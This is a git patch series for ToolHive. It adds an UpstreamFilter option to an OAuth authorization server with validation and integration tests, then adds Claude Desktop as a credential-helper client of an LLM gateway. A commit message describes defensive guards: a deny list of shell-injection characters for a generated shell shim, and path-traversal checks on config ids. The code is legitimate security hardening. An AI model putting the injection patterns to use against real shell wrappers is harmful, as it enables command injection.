pkg/authserver/config.go (3533389467): Validate() now rejects UpstreamFilter set with fewer than 2 upstreams, since computeChain never consults the filter in that case and it would silently no-op. - LOW pkg/authserver/config.go (3533389470): doc comment now warns that a typed-nil concrete pointer is a non-nil interface value and will still be wired in. * Clean up UpstreamFilter test hygiene in integration tests Addresses stacklok/toolhive#5733 review comments: - MEDIUM pkg/authserver/integration_test.go (3533389480): wire options.upstreamFilter into setupTestServer and setupTestServerWithOIDCProvider's Config literals so withUpstreamFilter no longer silently no-ops when applied to those helpers (or to setupTestServerWithMockOIDC, which delegates to setupTestServer). - LOW pkg/authserver/integration_test.go (3533389475): extract the shared client->authorize->first-upstream->callback boilerplate into runFirstLeg, reused by runChainFlow and the new filter test. - LOW pkg/authserver/integration_test.go (3533389477): reword the new test's doc comment, which overstated a "second failure signal" from mockoidc that can't actually occur given the test's control flow. --- pkg/authserver/config.go | 25 +++++ pkg/authserver/config_test.go | 2 + pkg/authserver/integration_test.go | 148 +++++++++++++++++++++++++++-- pkg/authserver/server_impl.go | 14 ++- 4 files changed, 178 insertions(+), 11 deletions(-) diff --git a/pkg/authserver/config.go b/pkg/authserver/config.go index b7d6e8cce5..42848b84c1 100644 --- a/pkg/authserver/config.go +++ b/pkg/authserver/config.go @@ -14,6 +14,7 @@ import ( "time" servercrypto "github.com/stacklok/toolhive/pkg/authserver/server/crypto" + "github.com/stacklok/toolhive/pkg/authserver/server/handlers" "github.com/stacklok/toolhive/pkg/authserver/server/keys" "github.com/stacklok/toolhive/pkg/authserver/server/registration" "github.com/stacklok/toolhive/pkg/authserver/storage" @@ -602,6 +603,14 @@ type Config struct { // Multiple upstreams form a sequential authorization chain. Upstreams []UpstreamConfig + // UpstreamFilter, when set, narrows the upstream authorization chain after the + // first leg resolves (see handlers.WithUpstreamFilter). When nil, all + // configured upstreams are walked — the current behavior. Pass nil itself, + // not a nil-valued concrete pointer implementing UpstreamFilter — a typed-nil + // interface value is non-nil and will still be wired in. Has no effect with + // fewer than 2 configured upstreams; Validate rejects that combination. + UpstreamFilter handlers.UpstreamFilter + // ScopesSupported lists the OAuth 2.0 scope values advertised in discovery documents. // If nil or empty, defaults to registration.DefaultScopes (["openid", "profile", "email", "offline_access"]). // This is advertised in /.well-known/openid-configuration and @@ -676,6 +685,10 @@ func (c *Config) Validate() error { return err } + if err := c.validateUpstreamFilter(); err != nil { + return err + } + // AllowedAudiences is required for MCP compliance. // Per MCP specification, clients MUST include the "resource" parameter (RFC 8707), // which requires the server to have configured allowed audiences to validate against. @@ -843,6 +856,18 @@ func (c *Config) validateUpstreams() error { return nil } +// validateUpstreamFilter rejects an UpstreamFilter configured with fewer than +// 2 upstreams. handlers.computeChain consults the filter only when there is a +// non-first upstream to narrow, so with a single upstream the filter would +// silently never be invoked; this fails loudly instead of letting it no-op +// without any indication to the caller. +func (c *Config) validateUpstreamFilter() error { + if c.UpstreamFilter != nil && len(c.Upstreams) < 2 { + return fmt.Errorf("upstream_filter is configured but has no effect with fewer than 2 upstreams") + } + return nil +} + // validateUpstreamName validates and defaults the upstream name. // For single upstream, empty names default to "default". // For multi-upstream, explicit non-"default" names are required. diff --git a/pkg/authserver/config_test.go b/pkg/authserver/config_test.go index d678fc07bd..850a7d0347 100644 --- a/pkg/authserver/config_test.go +++ b/pkg/authserver/config_test.go @@ -102,6 +102,8 @@ func TestConfigValidate(t *testing.T) { {name: "no upstreams", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC}, wantErr: true, errMsg: "at least one upstream is required"}, {name: "nil upstream config", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Name: "test", Type: UpstreamProviderTypeOAuth2}}}, wantErr: true, errMsg: "oauth2_config is required"}, {name: "multiple upstreams", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Name: "first", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}, {Name: "second", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}}, AllowedAudiences: []string{"https://mcp.example.com"}}}, + {name: "upstream_filter with single upstream rejected", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: validUpstreams, AllowedAudiences: []string{"https://mcp.example.com"}, UpstreamFilter: &stubChainFilter{}}, wantErr: true, errMsg: "upstream_filter is configured but has no effect"}, + {name: "upstream_filter with multiple upstreams allowed", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Name: "first", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}, {Name: "second", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}}, AllowedAudiences: []string{"https://mcp.example.com"}, UpstreamFilter: &stubChainFilter{}}}, {name: "duplicate upstream names", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Name: "same", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}, {Name: "same", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}}}, wantErr: true, errMsg: "duplicate upstream name"}, {name: "multi-upstream with empty name on second", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Name: "first", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}, {Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}}}, wantErr: true, errMsg: "upstream[1]: name must be explicitly set"}, {name: "multi-upstream with empty name on first", config: Config{Issuer: "https://example.com", KeyProvider: validKeyProvider, HMACSecrets: validHMAC, Upstreams: []UpstreamConfig{{Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}, {Name: "second", Type: UpstreamProviderTypeOAuth2, OAuth2Config: validUpstream}}}, wantErr: true, errMsg: "upstream[0]: name must be explicitly set"}, diff --git a/pkg/authserver/integration_test.go b/pkg/authserver/integration_test.go index 7a40004379..73c2bdbc6c 100644 --- a/pkg/authserver/integration_test.go +++ b/pkg/authserver/integration_test.go @@ -29,8 +29,10 @@ import ( "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" + "github.com/stacklok/toolhive/pkg/auth" "github.com/stacklok/toolhive/pkg/auth/upstreamtoken" servercrypto "github.com/stacklok/toolhive/pkg/authserver/server/crypto" + "github.com/stacklok/toolhive/pkg/authserver/server/handlers" "github.com/stacklok/toolhive/pkg/authserver/server/keys" "github.com/stacklok/toolhive/pkg/authserver/server/registration" "github.com/stacklok/toolhive/pkg/authserver/server/session" @@ -86,6 +88,13 @@ type testServerOptions struct { // miniredis return value is valid (e.g., for non-Redis alternative // backends). storageFactory func(t *testing.T) (storage.Storage, *miniredis.Miniredis) + // upstreamFilter, when set, is passed through to Config.UpstreamFilter. + // Read by every setup helper below that builds its own Config + // (setupTestServer, setupTestServerWithOIDCProvider, + // setupTestServerWithTwoUpstreams) and by setupTestServerWithMockOIDC, + // which delegates to setupTestServer. setupTestServerWithRTProxy does not + // accept testServerOption at all, so this field does not apply to it. + upstreamFilter handlers.UpstreamFilter } // testServerOption is a functional option for test server setup. @@ -112,6 +121,15 @@ func withAccessTokenLifespan(d time.Duration) testServerOption { } } +// withUpstreamFilter configures Config.UpstreamFilter, exercising the +// authserver.New -> handlers.NewHandler wiring end-to-end rather than the +// handler-level WithUpstreamFilter option directly. +func withUpstreamFilter(f handlers.UpstreamFilter) testServerOption { + return func(opts *testServerOptions) { + opts.upstreamFilter = f + } +} + // withRedisBackedStorage swaps the default in-memory storage for a // miniredis-backed *RedisStorage. This exercises the same Lua scripts and // Redis-shape key layout used in production, while remaining hermetic and @@ -235,6 +253,7 @@ func setupTestServer(t *testing.T, opts ...testServerOption) *testServer { RefreshTokenLifespan: 24 * time.Hour, AuthCodeLifespan: 10 * time.Minute, Upstreams: []UpstreamConfig{{Name: "default", Type: UpstreamProviderTypeOAuth2, OAuth2Config: upstreamCfg}}, + UpstreamFilter: options.upstreamFilter, AllowedAudiences: []string{"https://mcp.example.com"}, } @@ -906,9 +925,10 @@ func TestIntegration_FullPKCEFlow_DefaultAudience(t *testing.T) { // - defaultUpstreamFactory dispatching to NewOIDCProvider // - OIDCProviderImpl with OIDC discovery, ID token validation, and nonce support // -// Variadic opts allow swapping the storage backend (e.g. withRedisBackedStorage); -// the upstream is fixed because this helper exists specifically to exercise the -// real OIDC factory path. Other testServerOptions are silently ignored. +// Variadic opts allow swapping the storage backend (e.g. withRedisBackedStorage) +// and setting Config.UpstreamFilter (withUpstreamFilter); the upstream itself is +// fixed because this helper exists specifically to exercise the real OIDC +// factory path. Other testServerOptions are silently ignored. func setupTestServerWithOIDCProvider(t *testing.T, m *mockoidc.MockOIDC, opts ...testServerOption) *testServerWithUpstream { t.Helper() ctx := context.Background() @@ -975,6 +995,7 @@ func setupTestServerWithOIDCProvider(t *testing.T, m *mockoidc.MockOIDC, opts .. }, }}, AllowedAudiences: []string{testAudience}, + UpstreamFilter: options.upstreamFilter, } // 6. Create server using newServer WITHOUT overriding the upstream factory. @@ -1820,6 +1841,7 @@ func setupTestServerWithTwoUpstreams(t *testing.T, m1, m2 *mockoidc.MockOIDC, op {Name: "provider-2", Type: UpstreamProviderTypeOAuth2, OAuth2Config: upstreamCfg2}, }, AllowedAudiences: []string{testAudience}, + UpstreamFilter: options.upstreamFilter, } // 8. Create server using newServer with a factory that returns the correct provider per name @@ -1954,6 +1976,95 @@ func TestIntegration_MultiUpstreamSequentialChain(t *testing.T) { "upstream subjects should differ (different IDPs)") } +// stubChainFilter is a minimal handlers.UpstreamFilter test double that always +// keeps the given set of upstream names, regardless of the principal or +// configured list it is passed. The lower-level filter-narrowing behavior +// (computeChain) is already covered directly in +// pkg/authserver/server/handlers/handler_chain_test.go; this double exists only +// to drive the Config.UpstreamFilter -> authserver.New -> handlers.NewHandler +// wiring end-to-end. +type stubChainFilter struct { + keep []string +} + +func (f *stubChainFilter) FilterUpstreams( + _ context.Context, + _ auth.PrincipalInfo, + _ []string, +) ([]string, error) { + return f.keep, nil +} + +// TestIntegration_MultiUpstreamChain_ConfigUpstreamFilter proves that a +// Config.UpstreamFilter set through the public authserver.New facade reaches +// the handler and narrows the authorization chain. Before Config gained this +// field, WithUpstreamFilter was only reachable via the low-level +// handlers.NewHandler constructor, so a caller using authserver.New had no way +// to install a filter at all. +// +// The filter here drops provider-2 entirely, so after the provider-1 callback +// the chain must be satisfied and the handler must redirect straight to the +// client (303) instead of on to provider-2 (302). The status-code assertion +// below is the only signal this test relies on: it fails immediately on a +// mismatch, before ever following a redirect that would reach provider-2. +func TestIntegration_MultiUpstreamChain_ConfigUpstreamFilter(t *testing.T) { + t.Parallel() + + m1, err := mockoidc.Run() + require.NoError(t, err) + t.Cleanup(func() { require.NoError(t, m1.Shutdown()) }) + + m2, err := mockoidc.Run() + require.NoError(t, err) + t.Cleanup(func() { require.NoError(t, m2.Shutdown()) }) + + m1.QueueUser(&mockoidc.MockUser{ + Subject: "user-from-provider-1", + Email: "user1@provider1.example.com", + }) + + filter := &stubChainFilter{keep: nil} + ts := setupTestServerWithTwoUpstreams(t, m1, m2, withUpstreamFilter(filter)) + + verifier := servercrypto.GeneratePKCEVerifier() + challenge := servercrypto.ComputePKCEChallenge(verifier) + clientState := "upstream-filter-client-state" + + resp := runFirstLeg(t, ts.Server.URL, challenge, clientState) + require.Equal(t, http.StatusSeeOther, resp.StatusCode, + "expected 303 straight to client: the Config-supplied filter should have dropped provider-2 from the chain") + clientLocation, err := resp.Location() + require.NoError(t, err) + resp.Body.Close() + + require.Equal(t, clientState, clientLocation.Query().Get("state")) + authCode := clientLocation.Query().Get("code") + require.NotEmpty(t, authCode) + + tokenData := exchangeCodeForTokens(t, ts.Server.URL, authCode, verifier, testAudience) + accessToken, ok := tokenData["access_token"].(string) + require.True(t, ok) + require.NotEmpty(t, accessToken) + + parsedToken, err := jwt.ParseSigned(accessToken, []jose.SignatureAlgorithm{jose.RS256}) + require.NoError(t, err) + var claims map[string]interface{} + require.NoError(t, parsedToken.Claims(ts.PrivateKey.Public(), &claims)) + tsid, ok := claims["tsid"].(string) + require.True(t, ok) + require.NotEmpty(t, tsid) + + ctx := context.Background() + + tokens1, err := ts.storage.GetUpstreamTokens(ctx, tsid, "provider-1") + require.NoError(t, err, "provider-1 tokens should be stored") + require.NotNil(t, tokens1) + + _, err = ts.storage.GetUpstreamTokens(ctx, tsid, "provider-2") + require.Error(t, err, "provider-2 should have been dropped from the chain by the filter") + assert.ErrorIs(t, err, storage.ErrNotFound) +} + // ============================================================================ // Non-Expiring Upstream Token Regression Tests // ============================================================================ @@ -2128,19 +2239,19 @@ func TestIntegration_FullFlow_NonExpiringUpstreamToken(t *testing.T) { // the hand-crafted flow in TestIntegration_MultiUpstreamSequentialChain but // is reused by the mixed-expiry orderings test. The PKCE verifier is the // caller's responsibility — it's only needed at the final /token exchange. -func runChainFlow( - t *testing.T, - serverURL string, - challenge string, - clientState string, -) string { +// runFirstLeg drives the leg-1 flow shared by every multi-upstream chain +// test: client -> /oauth/authorize -> first upstream -> our /oauth/callback. +// It returns the callback response unread and unclosed so callers can assert +// on its status code — 302 on to the next upstream (chain continues) vs. 303 +// straight to the client (chain already satisfied) — before deciding how to +// continue. Callers are responsible for closing the returned response's body. +func runFirstLeg(t *testing.T, serverURL, challenge, clientState string) *http.Response { t.Helper() client := noRedirectClient() parsedServerURL, err := url.Parse(serverURL) require.NoError(t, err) - // Leg 1: client -> /authorize -> first upstream authorizeURL := serverURL + "/oauth/authorize?" + url.Values{ "client_id": {testClientID}, "redirect_uri": {testRedirectURI}, @@ -2169,6 +2280,22 @@ func runChainFlow( resp, err = client.Get(firstCallback.String()) require.NoError(t, err) + return resp +} + +func runChainFlow( + t *testing.T, + serverURL string, + challenge string, + clientState string, +) string { + t.Helper() + + parsedServerURL, err := url.Parse(serverURL) + require.NoError(t, err) + + // Leg 1: client -> /authorize -> first upstream -> callback + resp := runFirstLeg(t, serverURL, challenge, clientState) require.Equal(t, http.StatusFound, resp.StatusCode, "expected redirect to second upstream, not 303 to client") secondUpstreamLocation, err := resp.Location() @@ -2176,6 +2303,7 @@ func runChainFlow( resp.Body.Close() // Leg 2: second upstream -> callback -> client + client := noRedirectClient() resp, err = client.Get(secondUpstreamLocation.String()) require.NoError(t, err) require.Equal(t, http.StatusFound, resp.StatusCode) diff --git a/pkg/authserver/server_impl.go b/pkg/authserver/server_impl.go index c0b54166b7..007446ce12 100644 --- a/pkg/authserver/server_impl.go +++ b/pkg/authserver/server_impl.go @@ -207,7 +207,7 @@ func newServer(ctx context.Context, cfg Config, stor storage.Storage, opts ...se // ensuring both paths share one singleflight.Group. refresher := newUpstreamTokenRefresher(upstreams, stor, cfg.RefreshTokenLifespan) handlerInstance, err := handlers.NewHandler(fositeProvider, authServerConfig, stor, upstreams, - handlers.WithUpstreamRefresher(refresher)) + buildHandlerOptions(refresher, cfg.UpstreamFilter)...) if err != nil { return nil, fmt.Errorf("failed to create handler: %w", err) } @@ -228,6 +228,18 @@ func newServer(ctx context.Context, cfg Config, stor storage.Storage, opts ...se }, nil } +// buildHandlerOptions assembles the handlers.Option list for NewHandler: the +// refresher is always wired, and the filter is added only when the caller's +// Config sets one so a nil Config.UpstreamFilter preserves the pre-filter +// behavior of walking every configured upstream. +func buildHandlerOptions(refresher storage.UpstreamTokenRefresher, filter handlers.UpstreamFilter) []handlers.Option { + opts := []handlers.Option{handlers.WithUpstreamRefresher(refresher)} + if filter != nil { + opts = append(opts, handlers.WithUpstreamFilter(filter)) + } + return opts +} + // Handler returns the HTTP handler that serves all OAuth/OIDC endpoints. func (s *server) Handler() http.Handler { return s.handler From 5e3e74278db4e3f5c23ea42a0a3b427d66bde42d Mon Sep 17 00:00:00 2001 From: Jeremy Drouillard Date: Tue, 7 Jul 2026 03:13:58 -0700 Subject: [PATCH 29/66] Add Claude Desktop as an LLM gateway client (#5712) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Add Claude Desktop as an LLM gateway client thv llm setup can route Claude Code and several editors through an OIDC-protected LLM gateway, but not Claude Desktop. Claude Desktop exposes a different configuration surface — its "third-party inference" (Cowork 3P) model — which uses a configLibrary document plus a _meta.json selector and a credential-helper executable, none of which fit the existing JSON-key-patching path. Add a credential-helper client mode that reuses "thv llm token": - New ClaudeDesktop client with LLMGatewayMode "credential-helper". Writes a .json config document (inferenceProvider/gateway URL/ helper-script kind/models) and merges a _meta.json selector, preserving any user-owned entries. Generates a no-arg shim that execs "thv llm token" (browser only in the interactive helper context). - Detect Claude Desktop by its app-support directory (a GUI app, not on $PATH); warn when a managed-preferences profile would override the local config; tell the user to relaunch (config is read at launch). - Teardown removes the entry, config document, and shim, and clears appliedId only when it pointed at ToolHive's config. - New --models flag feeds inferenceModels; the key is omitted when empty so the app can fall back to gateway model discovery once available. Verified end-to-end against a real Claude Desktop install (config applied, live inference on all models) plus unit and e2e coverage. Co-Authored-By: Claude Opus 4.8 (1M context) * Address review: safer teardown ordering and cleanup - revertCredentialHelper: de-reference _meta.json and delete the config document before removing the shim, so a mid-revert failure never leaves Claude Desktop pointing at a config that references a missing helper. Treat an empty configPath as a no-op (do not touch the shim when we cannot confirm the selector no longer references it). - configureCredentialHelper: best-effort cleanup of the config document and a freshly-created shim when setup fails, so a failure leaves no partial state. Skip shim removal when an earlier setup already created it (setup is idempotent). - Make the relaunch note platform-neutral (drop macOS-specific "Cmd-Q"). Co-Authored-By: Claude Opus 4.8 (1M context) * Address review: harden and simplify credential-helper - Validate the config id read from _meta.json before joining it into a path (reject non-bare-filename / ".." values), so a corrupted or hand-edited selector cannot make setup write outside configLibrary. - Move shim create/remove inside the _meta.json file lock so concurrent setup/teardown runs cannot interleave (one run's failure-cleanup deleting a shim another run's committed config depends on). - Reuse resolveApplyConfigField for the AnthropicBaseURL/GatewayURL fallback instead of duplicating it. - Warn on a non-string appliedId in _meta.json instead of silently treating it as absent. - Drop the redundant LLMCredentialHelper bool; dispatch everywhere on LLMGatewayMode == "credential-helper" via a shared constant. - Make the managed-profile check unit-testable (injectable root) and cover it, plus warnCredentialHelperTools and the setup-failure cleanup path, with tests. Co-Authored-By: Claude Opus 4.8 (1M context) * Address review: don't drop malformed _meta.json entries - readClaudeDesktopMeta now errors when _meta.json is valid JSON but its "entries" is not an array, instead of silently treating it as empty and overwriting the user's saved configurations on the next write. - Upsert the ToolHive entry by name so a malformed or stale same-name entry (e.g. a non-string id) is corrected in place rather than leaving a duplicate "ToolHive Gateway" entry, preserving idempotency. - Tests for the non-array-entries error and the non-string-id no-duplicate cases. Co-Authored-By: Claude Opus 4.8 (1M context) * Harden credential-helper writer per panel review Three fixes from the panel review on #5712, addressing findings the prior review round did not cover: 1. Move LLM gateway mode constants (ModeDirect/ModeProxy/ModeCredentialHelper) to pkg/llmgateway, the shared leaf both pkg/client and pkg/llm import. The credentialHelperMode constant was unexported in pkg/client, so pkg/llm (which cannot import pkg/client) carried its own bare "credential-helper" literals at three call sites — a typo in any of which would silently break mode detection and the relaunch/managed- profile warnings with no compiler link. The "single source of truth" doc comment is now true. 2. Strengthen revertCredentialHelper's config-path validation. configure validates ids from _meta.json via isSafeConfigID; revert derived id from the stored configPath via metaIDFromConfigPath (extension-strip only) and used the path directly with os.Remove, which follows symlinks. Now revert derives the configLibrary dir from appCfg (not configPath), re-runs isSafeConfigID on the id, and requires the stored configPath to equal filepath.Join(dir, id+".json") before any unlink — so a tampered stored path outside configLibrary or carrying a traversal segment is treated as already-reverted, not deleted. Symmetric with configure's path-traversal guard. 3. Add isSafeTokenHelperCommand validation at the shim-writer boundary. The shim is a 0700 /bin/sh script built by string concatenation ("exec " + tokenHelperCommand). buildTokenHelperCommand is shell-safe today, but TokenHelperCommand is an ApplyConfig field consumed by multiple writers; a future caller passing a command with ";", "&", "|", backtick, "$", "#", or newlines would produce stored command injection. The writer now fails closed on any command it cannot prove matches the expected " llm token" shape. Tests: TestRevertCredentialHelper_RejectsUnsafeConfigPath (absolute path, traversal, deeper traversal — each with its own sentinel file so subtests stay parallel-safe), TestWriteCredentialHelperShim_RejectsUnsafeCommand (;, #, &&, |, newline, unquoted, wrong suffix). Updated the three bare "credential-helper" literals in setup_test.go to use the shared constant. --------- Co-authored-by: Claude Opus 4.8 (1M context) Co-authored-by: Juan Antonio Osorio --- cmd/thv/app/llm.go | 24 +- cmd/thv/app/llm_test.go | 18 +- docs/cli/thv_llm_setup.md | 11 +- pkg/client/config.go | 52 ++ pkg/client/llm_gateway.go | 32 +- pkg/client/llm_gateway_credential_helper.go | 461 ++++++++++++++++++ .../llm_gateway_credential_helper_test.go | 398 +++++++++++++++ pkg/llm/setup.go | 54 +- pkg/llm/setup_test.go | 53 +- pkg/llmgateway/config.go | 34 ++ test/e2e/cli_llm_all_clients_test.go | 107 ++++ 11 files changed, 1212 insertions(+), 32 deletions(-) create mode 100644 pkg/client/llm_gateway_credential_helper.go create mode 100644 pkg/client/llm_gateway_credential_helper_test.go diff --git a/cmd/thv/app/llm.go b/cmd/thv/app/llm.go index b64a44ebb8..a5aec8ae39 100644 --- a/cmd/thv/app/llm.go +++ b/cmd/thv/app/llm.go @@ -228,17 +228,24 @@ func newLLMSetupCommand() *cobra.Command { anthropicPathPrefix string lazy bool skipBrowser bool + models []string ) cmd := &cobra.Command{ Use: "setup", Short: "Configure detected AI tools to use the LLM gateway", - Long: `Detect installed AI coding tools (Claude Code, Gemini CLI, Cursor, VS Code, -Xcode) and patch each tool's configuration to route through the LLM gateway. + Long: `Detect installed AI tools (Claude Code, Gemini CLI, Cursor, VS Code, Xcode, +Claude Desktop) and patch each tool's configuration to route through the LLM +gateway. Token-helper tools (Claude Code, Gemini CLI) are configured to call "thv llm token" to obtain a fresh OIDC token on demand. +Claude Desktop is configured via its third-party inference credential helper, +which also calls "thv llm token". It reads its configuration only at launch, so +fully quit and relaunch it after setup. Pass --models to list the models it +should offer until the gateway serves model discovery itself. + Proxy-mode tools (Cursor, VS Code, Xcode) are configured to send requests to the localhost reverse proxy started by "thv llm proxy start". @@ -265,7 +272,7 @@ Run "thv llm teardown" to revert all changes.`, return runLLMSetup( cmd.Context(), cmd.OutOrStdout(), cmd.ErrOrStderr(), cm, config.NewDefaultProvider(), login, opts, - anthropicPathPrefix, cmd.Flags().Changed("anthropic-path-prefix"), targetClient, lazy, + anthropicPathPrefix, cmd.Flags().Changed("anthropic-path-prefix"), targetClient, lazy, models, ) }, } @@ -291,6 +298,9 @@ Run "thv llm teardown" to revert all changes.`, "accesses the gateway. Tool config and persisted settings are written normally. "+ "Useful for unattended provisioning (e.g. an MDM profile).") cmd.Flags().BoolVar(&skipBrowser, "skip-browser", false, skipBrowserFlagUsage) + cmd.Flags().StringSliceVar(&models, "models", nil, + "Explicit model IDs to expose to credential-helper clients (Claude Desktop's inferenceModels). "+ + "Repeat or comma-separate. Omit to rely on the gateway's own model discovery once it is available.") return cmd } @@ -310,12 +320,12 @@ func runLLMSetup( ctx context.Context, out, errOut io.Writer, cm *client.ClientManager, provider config.Provider, login llm.LoginFunc, inlineOpts llm.SetOptions, anthropicPathPrefix string, anthropicPathPrefixSet bool, targetClient string, - lazy bool, + lazy bool, models []string, ) error { return llm.Setup( ctx, out, errOut, &clientManagerAdapter{cm}, &configUpdaterAdapter{provider}, login, - inlineOpts, anthropicPathPrefix, anthropicPathPrefixSet, targetClient, lazy, + inlineOpts, anthropicPathPrefix, anthropicPathPrefixSet, targetClient, lazy, models, ) } @@ -403,6 +413,10 @@ func (a *clientManagerAdapter) LLMGatewayModeFor(clientType string) string { return a.cm.LLMGatewayModeFor(client.ClientApp(clientType)) } +func (a *clientManagerAdapter) IsManaged(clientType string) bool { + return a.cm.IsManaged(client.ClientApp(clientType)) +} + func (a *clientManagerAdapter) ConfigureEnvFile(clientType string, cfg llmgateway.ApplyConfig) (string, error) { return a.cm.ConfigureEnvFile(client.ClientApp(clientType), cfg) } diff --git a/cmd/thv/app/llm_test.go b/cmd/thv/app/llm_test.go index 0401387fa0..3c3fd10ead 100644 --- a/cmd/thv/app/llm_test.go +++ b/cmd/thv/app/llm_test.go @@ -71,7 +71,7 @@ func TestRunLLMSetup_NotConfigured(t *testing.T) { provider := llmProvider(t, llm.Config{}) // no gateway URL var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) require.Error(t, err) assert.Contains(t, err.Error(), "not configured") } @@ -98,7 +98,7 @@ func TestRunLLMSetup_NoDetectedTools(t *testing.T) { }) var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) require.NoError(t, err) assert.Contains(t, stdout.String(), "No supported AI tools detected") } @@ -142,7 +142,7 @@ func TestRunLLMSetup_PartialFailure(t *testing.T) { }) var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) require.NoError(t, err) assert.Contains(t, stderr.String(), "Warning: failed to configure claude-code") assert.Contains(t, stdout.String(), "Configured gemini-cli") @@ -176,7 +176,7 @@ func TestRunLLMSetup_RollbackOnConfigUpdateFailure(t *testing.T) { provider := &errOnUpdateProvider{cfg: c, updateErr: errors.New("disk full")} var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) require.Error(t, err) assert.Contains(t, err.Error(), "persisting tool configuration") @@ -226,7 +226,7 @@ func TestRunLLMSetup_RollbackBothToolsOnConfigUpdateFailure(t *testing.T) { provider := &errOnUpdateProvider{cfg: c, updateErr: errors.New("disk full")} var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) require.Error(t, err) assert.Contains(t, err.Error(), "persisting tool configuration") @@ -273,7 +273,7 @@ func TestRunLLMSetup_LoginFailureLeavesNoState(t *testing.T) { var stdout, stderr bytes.Buffer err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, func(_ context.Context, _ *llm.Config) error { return loginErr }, - llm.SetOptions{}, "", false, "", false, + llm.SetOptions{}, "", false, "", false, nil, ) require.Error(t, err) assert.Contains(t, err.Error(), "OIDC login failed") @@ -474,7 +474,7 @@ func TestRunLLMSetup_ClientFlag_ConfiguresSingleTool(t *testing.T) { }) var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "claude-code", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "claude-code", false, nil) require.NoError(t, err) assert.Contains(t, stdout.String(), "Configured claude-code") assert.NotContains(t, stdout.String(), "gemini-cli") @@ -519,7 +519,7 @@ func TestRunLLMSetup_Lazy_SkipsLoginButConfiguresTools(t *testing.T) { var stdout, stderr bytes.Buffer // anthropicPathPrefixSet=true skips the network probe; lazy=true. err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, - recordingLogin, llm.SetOptions{}, "", true, "", true) + recordingLogin, llm.SetOptions{}, "", true, "", true, nil) require.NoError(t, err) assert.False(t, loginCalled, "lazy mode must not invoke the OIDC login") @@ -558,7 +558,7 @@ func TestRunLLMSetup_ClientFlag_NotInstalled(t *testing.T) { var stdout, stderr bytes.Buffer // cursor is not installed (no dir); expect an error. - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "cursor", false) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "cursor", false, nil) require.Error(t, err) assert.Contains(t, err.Error(), `"cursor" is not installed or not detected`) } diff --git a/docs/cli/thv_llm_setup.md b/docs/cli/thv_llm_setup.md index 926266ec41..d7f9ffadac 100644 --- a/docs/cli/thv_llm_setup.md +++ b/docs/cli/thv_llm_setup.md @@ -15,12 +15,18 @@ Configure detected AI tools to use the LLM gateway ### Synopsis -Detect installed AI coding tools (Claude Code, Gemini CLI, Cursor, VS Code, -Xcode) and patch each tool's configuration to route through the LLM gateway. +Detect installed AI tools (Claude Code, Gemini CLI, Cursor, VS Code, Xcode, +Claude Desktop) and patch each tool's configuration to route through the LLM +gateway. Token-helper tools (Claude Code, Gemini CLI) are configured to call "thv llm token" to obtain a fresh OIDC token on demand. +Claude Desktop is configured via its third-party inference credential helper, +which also calls "thv llm token". It reads its configuration only at launch, so +fully quit and relaunch it after setup. Pass --models to list the models it +should offer until the gateway serves model discovery itself. + Proxy-mode tools (Cursor, VS Code, Xcode) are configured to send requests to the localhost reverse proxy started by "thv llm proxy start". @@ -49,6 +55,7 @@ thv llm setup [flags] -h, --help help for setup --issuer string OIDC issuer URL --lazy Skip the interactive OIDC login and defer it until the first time a configured 